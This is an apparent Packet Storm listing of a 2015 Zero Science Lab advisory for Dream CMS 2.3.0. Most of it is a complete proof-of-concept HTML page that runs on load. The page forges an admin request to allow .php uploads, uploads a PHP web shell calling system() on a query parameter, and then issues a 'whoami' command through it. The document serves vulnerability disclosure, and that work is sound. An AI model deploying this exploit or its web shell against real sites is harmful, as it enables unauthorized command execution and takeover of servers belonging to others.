Dream CMS 2.3.0 Cross Site Request Forgery

🗓️ 11 Oct 2015 00:00:00Reported by LiquidWormType
packetstorm🔗 packetstormsecurity.com👁 22 Views
Dream CMS 2.3.0 CSRF Add Extension And File Upload PHP Code Execution. The vulnerability allows for arbitrary file upload leading to PHP code executio
`<!--  
  
Dream CMS 2.3.0 CSRF Add Extension And File Upload PHP Code Execution  
  
  
Vendor: Dream CMS  
Product web page: http://www.dream-cms.kg  
Affected version: 2.3.0  
  
Summary: DreamCMS is open and completely free PHP web application  
for constructing websites of any complexity.  
  
Desc: Dream CMS allows users to perform certain actions via HTTP requests  
without performing any validity checks to verify the requests. This can be  
exploited to perform certain actions with administrative privileges if a  
logged-in user visits a malicious web site. Related to the CSRF issue, an  
authenticated arbitrary PHP code execution exist. The vulnerability is caused  
due to the improper verification of uploaded files in '/files-manager-administration/add-file'  
script via the 'file' POST parameter which allows of arbitrary files being  
uploaded in '/resource/filemanager/1/home/' where the admin first needs to add  
the file extension in the allowed list (csrf'd). This can be exploited to execute  
arbitrary PHP code by uploading a malicious PHP script file and execute system  
commands.  
  
Tested on: nginx/1.6.2  
PHP/5.5.28  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2015-5268  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5268.php  
  
  
01.10.2015  
  
-->  
  
  
<html>  
<head>  
<title>Dream CMS 2.3.0 CSRF Add Extension And File Upload PHP Code Execution</title>  
</head>  
  
<body onload="exploitrun();">  
  
<!-- 1. Add PHP allowed extension -->  
<form name="addext" action="http://TARGET/pages/en/files-manager-administration/settings" method="POST" target="frame0">  
<input type="hidden" name="form_name" value="settings" />  
<input type="hidden" name="file_manager_allowed_extensions" value="bmp,gif,jpg,png,mp3,wav,wma,3g2,3gp,avi,flv,mov,mp4,mpg,swf,vob,wmv,zip,rar,txt,doc,docx,pdf,php" />  
<input type="hidden" name="file_manager_allowed_size" value="2097152" />  
<input type="hidden" name="file_manager_file_name_length" value="20" />  
<input type="hidden" name="file_manager_image_extensions" value="bmp,gif,jpg,png" />  
<input type="hidden" name="file_manager_media_extensions" value="mp3,wav,wma,3g2,3gp,avi,flv,mov,mp4,mpg,swf,vob,wmv" />  
<input type="hidden" name="file_manager_window_width" value="60" />  
<input type="hidden" name="file_manager_window_height" value="500" />  
<input type="hidden" name="file_manager_window_image_height" value="300" />  
<input type="hidden" name="submit" value="Save" />  
</form>  
  
<!-- 2. Upload PHP file -->  
<script>  
function upload()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("POST", "http://TARGET/pages/en/files-manager-administration/add-file?path=home", true);  
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");  
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");  
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryuCEcIcPhpF3WD8Sv");  
xhr.withCredentials = true;  
var body = "------WebKitFormBoundaryuCEcIcPhpF3WD8Sv\r\n" +   
"Content-Disposition: form-data; name=\"form_name\"\r\n" +   
"\r\n" +   
"file\r\n" +   
"------WebKitFormBoundaryuCEcIcPhpF3WD8Sv\r\n" +   
"Content-Disposition: form-data; name=\"file\"; filename=\"billy.php\"\r\n" +   
"Content-Type: application/octet-stream\r\n" +   
"\r\n" +   
"\x3c?php\r\n" +   
"system($_GET[\"cmd\"]);\r\n" +   
"?\x3e\r\n" +   
"\r\n" +   
"------WebKitFormBoundaryuCEcIcPhpF3WD8Sv\r\n" +   
"Content-Disposition: form-data; name=\"submit\"\r\n" +   
"\r\n" +   
"Submit\r\n" +   
"------WebKitFormBoundaryuCEcIcPhpF3WD8Sv--\r\n";  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);   
xhr.send(new Blob([aBody]));  
}  
</script>  
  
<form name="uploadme" action="javascript:upload();" target="frame1">  
</form>  
  
<!-- 3. Code execution -->  
<form name="exploit" action="http://TARGET/resource/filemanager/1/home/billy.php" method="GET" target="frame2">  
<input type="hidden" name="cmd" value="whoami" />  
</form>  
  
<iframe name="frame0"></iframe>  
<iframe name="frame1"></iframe>  
<iframe name="frame2"></iframe>  
  
<script>  
function exploitrun()  
{  
document.addext.submit();  
document.getElementsByTagName("iframe")[0].onload = function()  
{  
document.uploadme.submit();  
document.getElementsByTagName("iframe")[1].onload = function()  
{  
document.exploit.submit();  
}  
}  
}  
</script>  
  
</body>  
</html>  
`
11 Oct 2015 00:00Current
0.6Low risk
Vulners AI Score0.6